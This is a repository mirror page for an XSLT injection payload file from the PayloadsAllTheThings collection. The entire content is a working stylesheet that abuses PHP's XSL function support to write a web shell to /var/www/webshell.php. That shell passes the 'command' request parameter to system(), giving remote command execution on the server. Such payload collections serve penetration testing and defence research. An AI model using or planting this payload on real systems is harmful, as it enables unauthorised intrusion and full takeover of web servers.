1
0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2025-05-03 21:25:28 +02:00
PayloadsAllTheThings/XSLT Injection/Files/rce-php-file-create.xsl

5 lines
319 B
XML

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','&lt;?php echo system($_GET[&quot;command&quot;]); ?&gt;')" />
</xsl:template>
</xsl:stylesheet>